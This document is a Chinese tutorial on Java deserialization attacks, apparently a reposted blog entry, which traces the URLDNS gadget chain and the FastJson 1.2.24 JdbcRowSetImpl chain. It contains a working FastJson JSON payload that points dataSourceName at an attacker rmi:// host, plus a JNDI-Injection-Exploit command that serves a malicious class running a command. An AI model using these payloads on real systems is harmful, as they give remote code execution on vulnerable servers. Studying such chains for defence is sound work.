知识点:
1、安全开辟-JavaEE-原生序列化-URLDNS链分析
2、安全开辟-JavaEE-FastJson-JdbcRowSetImpl链分析
- 利用链也叫"gadget chains",我们通常称为gadget:
- 1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
- 2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
- 3、调用链gadget chain:相同方法名、相同类型
- 4、执行类sink:RCE SSRF 写文件等等
复制代码
一、演示案例-WEB开辟-JavaEE-原生反序列化&URLDNS链(JDK自带链)
利用链跟踪
- java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode
- HashMap->readObject
- HashMap->putVal(put)
- HashMap->hash
- key.hashCode->
- URL.hashCode->
- handler.hashCode->
- URLStreamHandler.getHostAddress
复制代码
写利用链
参考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g
- 搞清楚入口类,需要修改的值,需要传递的值,
- 创建一个HashMap泛型,(后续操作URL类即int类型值)
- 在创建一个url连接,(将要请求的地址写入对应代码的U)
- 用put方法把url数据存放到里面,触发putVal(hash(key)
- 其中hash里面会调用key.hashCode()
- 最终触发点是key,所以我们就需要给key的类型设置成URL类,
- 通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现
复制代码
二、演示案例-WEB开辟-JavaEE-FastJson反序列化&JDBC链(JDK自带链)
参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据举行分析和打包。其实简朴的来说就是处置惩罚json格式的数据的。比方将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.24</version>
- </dependency>
复制代码
1、序列化方法
- JSON.toJSONString(),对象转换为JSON字符串;
- JSON.toJSONBytes(),对象转换为byte数组;
复制代码 2、反序列化方法
- JSON.parseObject(),返回JsonObject;
- JSON.parse(),返回Object;
- JSON.parseArray(), 返回JSONArray;
- 将JSON对象转换为java对象:JSON.toJavaObject();
- 将JSON对象写入write流:JSON.writeJSONString();
复制代码 3、常用
- JSON.toJSONString(),JSON.parse(),JSON.parseObject()
复制代码
4、引出安全-序列化固定类后,反序列化不指定类后
parse方法在调用时会调用set方法
parseObject在调用时会调用set和get方法
5、引出安全-序列化固定类后,反序列化指定类后
parseObject在调用时会调用set方法
6、安全利用链
- JDK自带链-JdbcRowSetImpl:
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
- String payload = "{" +
- ""@type":"com.sun.rowset.JdbcRowSetImpl"," +
- ""dataSourceName":"rmi://xx.xx.xx.xx/xxxx", " +
- ""autoCommit":true" +
- "}";
- JSON.parse(payload);
- 反序列化对象:com.sun.rowset.JdbcRowSetImpl
- 改动的成员变量:dataSourceName autoCommit
- setdataSourceName->getdataSourceName
- setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
- RMI注入:触发RCE
- DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");
复制代码
天生RMI恶意调用类:
- java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
|